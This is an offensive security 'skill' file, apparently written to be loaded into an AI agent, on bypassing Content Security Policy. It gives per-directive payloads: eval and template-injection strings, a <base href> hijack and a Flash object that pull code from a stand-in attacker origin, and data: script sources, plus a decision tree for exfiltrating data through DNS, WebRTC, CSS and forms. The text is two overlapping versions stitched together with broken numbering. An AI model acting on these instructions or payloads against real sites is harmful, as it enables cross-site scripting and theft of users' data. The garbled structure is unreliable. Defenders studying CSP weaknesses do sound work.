SKILL: CSP Bypass — Advanced Techniques

AI LOAD INSTRUCTION: Covers per-directive bypass techniques, nonce/hash abuse, trusted CDN exploitation, data exfiltration despite CSP, and framework-specific bypasses. Base models often suggest unsafe-inline bypass without checking if the CSP actually uses it, or miss the critical base-uri and object-src gaps.

1. CSP DIRECTIVE REFERENCE MATRIX

Critical insight: base-uri, form-action, and frame-ancestors do NOT fall back to default-src. Their absence is always a potential bypass vector.

2. BYPASS TECHNIQUES BY DIRECTIVE

2.1 script-src 'self'

The app only allows scripts from its own origin. Bypass vectors:

2.2 script-src with CDN Whitelist

script-src 'self' GOOGLE_APIS_HOST GSTATIC_HOST JSDELIVR_HOST

Trick: Search for JSONP endpoints on whitelisted domains: site:GOOGLE_APIS_HOST inurl:callback

2.3 script-src 'unsafe-eval'

eval(), Function(), setTimeout(string), setInterval(string) all permitted.

// Template injection → RCE-equivalent in browser
[].constructor.constructor("alert(document.cookie)")();

// JSON.parse doesn't execute code, but if result is used in eval context:
// App does: eval('var x = ' + JSON.parse(userInput))

2.4 script-src 'nonce-xxx'

Only scripts with matching nonce attribute execute.

2.5 script-src 'strict-dynamic'

Trust propagation: any script created by an already-trusted script is also trusted, regardless of source.

2.6 Angular / Vue CSP Bypass

Angular (with CSP):

<!-- Angular template expression bypasses script-src when angular.js is whitelisted -->
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

<!-- Angular >= 1.6 sandbox removed, so simpler: -->
{{constructor.constructor('alert(1)')()}}

Vue.js:

<!-- Vue 2 with runtime compiler -->
<div id="app">{{_c.constructor('alert(1)')()}}</div>
<script src="ALLOWED_CDN/vue.js"></script>
<script>
  new Vue({ el: "#app" });
</script>

2.7 Missing object-src

If object-src is not set (falls back to default-src), and default-src allows some origins:

<!-- Flash-based bypass (legacy, mostly patched, but still appears on old systems) -->
<object
  data="ATTACKER_ORIGIN/evil.swf"
  type="application/x-shockwave-flash"
>
  <param name="AllowScriptAccess" value="always" />
</object>

<!-- PDF plugin abuse -->
<embed src="/user-upload/evil.pdf" type="application/pdf" />

2.8 Missing base-uri

<!-- Inject base tag → all relative URLs resolve to attacker -->
<base href="ATTACKER_ORIGIN/" />

<!-- Existing script: <script src="/js/app.js"> -->
<!-- Now loads: ATTACKER_ORIGIN/js/app.js -->

This bypasses 'nonce-xxx', 'strict-dynamic', and script-src 'self' for relative script paths.

2.9 Missing frame-ancestors

CSP without frame-ancestors → page can be framed → clickjacking possible.

X-Frame-Options header is overridden by frame-ancestors if CSP is present. But if CSP exists without frame-ancestors, some browsers ignore XFO entirely.

3. CSP IN META TAG vs. HEADER

<meta http-equiv="Content-Security-Policy" content="script-src 'self'" />

Meta tag limitations:

• Cannot set frame-ancestors (ignored in meta)
• Cannot set report-uri / report-to
• Cannot set sandbox
• If injected via HTML injection before the meta tag in DOM order, attacker's meta CSP may be processed first (browser uses first encountered)
• If page has both header CSP and meta CSP, both apply (most restrictive wins)

4. DATA EXFILTRATION DESPITE CSP

When connect-src, img-src, etc. are locked down, alternative exfiltration channels:

DNS-based exfiltration is nearly impossible to block with CSP — this is the most reliable channel.

5. CSP BYPASS DECISION TREE

CSP present?
├── Read full policy (response headers + meta tags)
│
├── Check for obvious weaknesses
│   ├── 'unsafe-inline' in script-src? → Standard XSS works
│   ├── 'unsafe-eval' in script-src? → eval/Function/setTimeout bypass
│   ├── * or data: in script-src? → <script src="data:,alert(1)">
│   └── No CSP header at all on some pages? → Find CSP-free page
│
├── Check missing directives
│   ├── No base-uri? → <base href="ATTACKER_ORIGIN/"> → hijack relative scripts
│   ├── No object-src? → Flash/plugin-based bypass (legacy)
│   ├── No form-action? → Exfil via form submission
│   ├── No frame-ancestors? → Clickjacking possible
│   └── No connect-src falling back to lax default-src? → fetch/XHR exfil
│
├── script-src 'self'?
│   ├── Find JSONP endpoints on same origin
│   ├── Find file upload → upload .js file
│   ├── Find DOM XSS in existing same-origin scripts
│   └── Find Angular/Vue loaded from self → template injection
│
├── script-src with CDN whitelist?
│   ├── Check CDN for JSONP endpoints
│   ├── Check jsdelivr/unpkg/cdnjs → load attacker-controlled package
│   └── Check CLOUDFRONT_HOST → shared distribution namespace
│
├── script-src 'nonce-xxx'?
│   ├── Nonce reused across requests? → Replay
│   ├── CRLF injection available? → Inject nonce
│   ├── Dangling markup to steal nonce
│   └── Script gadget in trusted scripts
│
├── script-src 'strict-dynamic'?
│   ├── base-uri not set? → <base> hijack
│   ├── DOM XSS in trusted script? → Inherit trust
│   └── Script gadget creating dynamic scripts from DOM data
│
└── All script execution blocked?
    ├── Dangling markup injection → exfil without JS
    ├── DNS prefetch exfiltration
    ├── WebRTC exfiltration
    ├── CSS injection for data extraction
    └── Form action exfiltration

6. TRICK NOTES — WHAT AI MODELS MISS

1. default-src 'self' does NOT restrict base-uri or form-action — these have no fallback. This is the #1 CSP mistake.
2. strict-dynamic ignores whitelist: When strict-dynamic is present, host-based allowlists and 'self' are ignored for script loading. Only nonce/hash and trust propagation matter.
3. Multiple CSPs stack: If both Content-Security-Policy header and <meta> CSP exist, the browser enforces BOTH — the effective policy is the intersection (most restrictive).
4. Content-Security-Policy-Report-Only does not enforce — it only reports. Check for the correct header name.
5. Nonce length matters: Nonces should be ≥128 bits of entropy. Short or predictable nonces can be brute-forced or guessed.
6. Report-uri information disclosure: CSP violation reports sent to report-uri contain blocked-uri, source-file, line-number — this can leak internal URLs, script paths, and page structure to whoever controls the report endpoint.
7. data: in script-src: script-src 'self' data: allows <script src="data:text/javascript,alert(1)"> — trivial bypass, but commonly seen in real-world CSPs.

SKILL: CSP Bypass — Advanced Techniques

AI LOAD INSTRUCTION: Master per-directive bypasses, nonce/hash abuse, strict-dynamic exploitation, Trusted Types evasion, framework-specific vectors, and data exfiltration channels that survive strong CSPs. Never default to "unsafe-inline" suggestions without verifying the actual policy. Prioritize missing no-fallback directives (base-uri, object-src, form-action, frame-ancestors) and real-world misconfigurations.

0. RELATED ROUTING

- xss-cross-site-scripting → Primary XSS delivery after CSP bypass
- dangling-markup-injection → Exfiltrate without JS when scripts are fully blocked
- crlf-injection → Inject/modify CSP headers or steal nonces
- waf-bypass-techniques → When WAF + CSP must both be defeated
- clickjacking → When frame-ancestors is missing
- prototype-pollution → Often combined with CSP bypass for gadget chaining

1. CSP DIRECTIVE REFERENCE MATRIX (Critical)

| Directive                 | Controls                           | Fallback         | Notes                  |
| ------------------------- | ---------------------------------- | ---------------- | ---------------------- |
| default-src               | Fallback for unspecified -src      | None (allow all) | Broad but dangerous    |
| script-src                | JS execution                       | default-src      | Core for XSS defense   |
| style-src                 | CSS loading                        | default-src      |
| img-src / media-src       | Images, audio, video               | default-src      |
| connect-src               | Fetch, XHR, WebSocket, etc.        | default-src      | Exfil control          |
| object-src                | <object>, <embed>, <applet>        | default-src      | Often missing          |
| base-uri                  | <base> element                     | **No fallback**  | Critical bypass vector |
| form-action               | Form submission targets            | **No fallback**  | Form hijacking         |
| frame-ancestors           | Framing (replaces X-Frame-Options) | **No fallback**  | Clickjacking           |
| navigate-to               | Navigation targets                 | **No fallback**  | Limited support        |
| require-trusted-types-for | Enforces Trusted Types             | N/A              | Modern hardening       |

**Key Insight:** `base-uri`, `form-action`, `frame-ancestors`, and `navigate-to` have **no fallback** to default-src. Their absence is almost always exploitable.

2. BYPASS TECHNIQUES BY DIRECTIVE

2.1 script-src 'self'

- JSONP endpoints on same origin (`/api/jsonp?callback=alert(1)//`)
- File uploads that accept `.js` (avatars, imports, etc.)
- DOM XSS in existing same-origin scripts
- Framework template injection (Angular/Vue loaded from 'self')
- Path confusion / Relative Path Overwrite (RPO): `/user-content/;/legit.js`

  2.2 script-src with CDN / Host Whitelists
  Common whitelists: `GOOGLE_APIS_HOST GSTATIC_HOST JSDELIVR_HOST UNPKG_HOST CLOUDFRONT_HOST`

- jsdelivr / unpkg: Load arbitrary npm/GitHub packages
- JSONP on Google domains (`GOOGLE_ACCOUNTS_HOST/o/oauth2/revoke?callback=...`)
- Shared CloudFront distributions
- Search: `site:ALLOWED_HOST inurl:callback`

  2.3 script-src 'unsafe-eval'

```js
[].constructor.constructor("alert(document.cookie)")();
new Function("alert(1)")();
setTimeout("alert(1)", 0);
```

2.4 script-src 'nonce-xxx'

• Nonce reuse across requests/users
• CRLF response splitting to inject new CSP/nonce
• Dangling markup + CSS attribute selectors to exfiltrate nonce
• DOM clobbering of nonce-checking logic

• Script gadgets in trusted nonced code that create new scripts from controllable DOM data

  2.5 script-src 'strict-dynamic' Trust propagates from nonce/hash-trusted scripts.

• Missing base-uri: <base href="ATTACKER_ORIGIN/"> → hijack relative <script src="/js/app.js">
• DOM XSS in trusted script → injected <script> inherits trust

• Script gadgets: document.createElement('script'); s.src = location.hash... or s.textContent = ...

  2.6 Framework-Specific Bypasses Angular (when angular.js is allowed):

<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
{{constructor.constructor('alert(1)')()}}

Vue (runtime compiler):

<div id="app">{{_c.constructor('alert(1)')()}}</div>

2.7 Missing object-src / Legacy Plugins

• SVG with <script> (especially with specific Content-Type)

• Old Flash / PDF plugin abuse (less relevant but still appears)

  2.8 Missing base-uri (High Impact)

<base href="ATTACKER_ORIGIN/" />

Hijacks all relative script/style/iframe sources. Works against nonce + strict-dynamic.

2.9 Missing frame-ancestors / form-action

• Clickjacking (frame-ancestors)
• Form hijacking for credential exfil (form-action)

3. META TAG vs HEADER CSP

• Meta CSP cannot set frame-ancestors, sandbox, report-*
• First meta tag in DOM order wins in some browsers
• Header + Meta → intersection (most restrictive)

4. DATA EXFILTRATION DESPITE STRONG CSP

• DNS prefetch / WebRTC (CSP cannot fully block)
• CSS background-url + attribute selectors
• <a ping>, form submissions (if form-action missing)
• Dangling markup
• Report-uri leakage (contains blocked-uri, source-file, etc.)

5. MODERN HARDENINGS & THEIR WEAKNESSES

• require-trusted-types-for 'script' + trusted-types → Look for DOM sink bypasses, policy name enumeration, or cross-frame abuse
• Multiple CSP headers → Most restrictive wins
• Report-Only mode (Content-Security-Policy-Report-Only) → No enforcement

6. CSP BYPASS DECISION TREE

Is CSP present? (Check headers + meta)
├── 'unsafe-inline' in script-src? → Classic XSS
├── 'unsafe-eval'? → eval/Function bypass
├── Wildcard / broad host? → JSONP, jsdelivr, etc.
├── Missing base-uri? → <base> hijack
├── Missing object-src / form-action / frame-ancestors? → Plugin / Form / Clickjacking
├── Nonce? → Reuse, leak (CSS/DOM), CRLF, gadgets
├── strict-dynamic? → base-uri, trusted script DOM XSS, gadgets
└── Everything blocked? → Dangling markup + DNS/WebRTC/CSS exfil

7. TRICK NOTES — WHAT MOST MODELS MISS
8. default-src 'self' does not restrict base-uri, form-action, or frame-ancestors.
9. strict-dynamic ignores host whitelists and 'self' for dynamically created scripts.
10. Nonce leakage via CSS attribute selectors + cache probing (2025+ technique).
11. SVG + specific Content-Type can bypass script blocks in some apps.
12. Trusted Types can still be bypassed via certain DOM sinks or cross-frame scenarios.
13. Always check for Report-Only mode.
14. Multiple CSP policies = intersection.
15. TESTING RECOMMENDATIONS

• Chrome DevTools → Security tab + Console violations
• csp-evaluator (Google)
• Manually craft minimal policies and test bypasses
• Check for nonce predictability and reuse